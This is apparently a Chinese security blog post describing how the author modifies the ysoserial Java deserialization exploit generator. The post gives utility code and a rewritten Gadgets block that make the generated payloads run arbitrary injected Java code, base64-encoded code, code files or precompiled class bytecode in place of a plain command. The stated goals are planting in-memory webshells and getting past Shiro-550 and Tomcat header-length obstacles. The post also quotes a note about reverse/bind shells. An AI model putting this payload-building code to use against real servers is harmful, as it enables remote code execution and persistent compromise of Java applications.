ysoserial 改写心得
0x01 前言
终于还是要对这玩意儿动手了啊,自己打算从 0.9 到 1 完成改写,不看其他师傅的文章,进行独立分析。(最后还是参考了哈哈哈,我太菜了)
0x02 结构/代码分析
几个文件夹,先看 payloads
payloads 文件夹里面是我们平常写的 EXP,运行如图
并且它会打印如下语句
这里的 calc.exe
实际上是因为在 ysoserial.payloads.util
的 PayloadRunner 类中的 getDefaultTestCmd
方法,定义了最开始的值。
里面都是一些工具类,比如在 Gadgets
类里面,有创建字节码,创建动态代理的方法。
里面是一些声明,比如 Authors 这些
里面放了一些直接调用的 EXP
GeneratePayload.java
生成 poc 的入口函数
Deserializer.java
反序列化模块
Serializer.java
序列化模块
Strings.java
字符处理模块
0x03 改写 yso 的出发点
改写
1、将原本的命令执行 payload 变成写入内存马。
2、解决 shiro550 serializeID 不一样的问题。
首先在 Gadgets 类里面,有这么一段话
1
| TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
此处本身是命令执行的方式 Runtime.getRuntime.exec("cmd")
,这一定并非是我们最想要的,所以要将其进行改写,把命令执行的方式改成执行代码块的方式,先从简单的弹 shell 开始,到后面打内存马。
参考 c0ny1 师傅的文章 http://gv7.me/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/
我这边添加了四种方式
序号 |
方式 |
描述 |
1 |
“code:代码内容” |
代码量比较少时采用 |
2 |
“codebase64:代码内容base64编码” |
防止代码中存在但引号,双引号,&等字符与控制台命令冲突。 |
3 |
“codefile:代码文件路径” |
代码量比较多时采用 |
4 |
“classfile:class路径“ |
利用已生成好的 class 直接获取其字节码 |
通过在输入的 command 前添加前缀,根据不同前缀进行不同的处理方式
这其中 code codebase codefile 前缀的都是插入代码,然后动态生成 templates
classfile 则是直接读取 class 文件中的字节码动态生成 templates(感觉实际情况里面用到这种相当多)
所以其实 ysoserial 的初步改写就是去改写这一段内容,进行 cmd 的不同程度的利用即可。
先写一个 CmdUtils,用来处理字节码,以及 .class
类型的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| package ysoserial.payloads.util; import java.io.*; public class CmdUtils { public static String readStringFromInputStream(InputStream inputStream) throws Exception{ StringBuilder stringBuilder = new StringBuilder(""); byte[] bytes = new byte[1024]; int n = 0; while ((n=inputStream.read(bytes)) != -1){ stringBuilder.append(new String(bytes,0,n)); } return stringBuilder.toString(); } public static byte[] getBytes(String path) throws Exception{ InputStream inputStream = new FileInputStream(path); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int n = 0; while ((n=inputStream.read())!=-1){ byteArrayOutputStream.write(n); } byte[] bytes = byteArrayOutputStream.toByteArray(); return bytes; } public static byte[] readClassByte(String filename) throws IOException{ File f = new File(filename); if (!f.exists()) { throw new FileNotFoundException(filename); } ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length()); BufferedInputStream in = null; try { in = new BufferedInputStream(new FileInputStream(f)); int buf_size = 1024; byte[] buffer = new byte[buf_size]; int len = 0; while (-1 != (len = in.read(buffer, 0, buf_size))) { bos.write(buffer, 0, len); } return bos.toByteArray(); } catch (IOException e) { e.printStackTrace(); throw e; } finally { try { in.close(); } catch (IOException e) { e.printStackTrace(); } bos.close(); } } public static String getCodeFile(String codefile) { try{ File file = new File(codefile); if (file.exists()){ FileReader reader = new FileReader(file); BufferedReader bufferedReader = new BufferedReader(reader); StringBuilder sb = new StringBuilder(""); String line = ""; while ((line=bufferedReader.readLine()) != null){ sb.append(line); sb.append("\r\n"); } return sb.toString(); } else { System.err.println(String.format("[-] %s is not exists!",codefile)); System.exit(0); return null; } } catch (Exception e){ e.printStackTrace(); return null; } } }
|
接着改写 Gadgets 类,增添如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| byte[] classBytes = null; String cmd = ""; if (command.startsWith("code:")){ cmd = command.substring(5); } else if (command.startsWith("codebase64:")){ byte[] decode = new BASE64Decoder().decodeBuffer(command.substring(11)); cmd = new String(decode); } else if (command.startsWith("codefile:")){ String codefile = command.substring(9); cmd = CmdUtils.getCodeFile(codefile); } else if (command.startsWith("classfile:")){ String classfile = command.substring(10); classBytes = CmdUtils.readClassByte(classfile); Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes}); Reflections.setFieldValue(templates, "_name", "Pwnr"); return templates; } else { cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; } clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC);
|
至此,我们基本的需求是没问题了,但是还差很多,比如 shiro550 的内存马,比如 SerialVersionID 的问题,比如 Tomcat Header 缩短的问题都亟待解决,
解决问题
这个其实好解决,可以用之前在 《Java 回显技术》一文当中的缩短 Tomcat Shiro Header 的方法,此处不再提及,还有 Y4tacker 师傅分享的缩短 Header 的方法,挂个链接,之后再看。
https://y4tacker.github.io/2022/04/14/year/2022/4/%E6%B5%85%E8%B0%88Shiro550%E5%8F%97Tomcat-Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E5%BD%B1%E5%93%8D%E7%AA%81%E7%A0%B4/
感觉自己开发基本功不好,暂且咕咕咕了。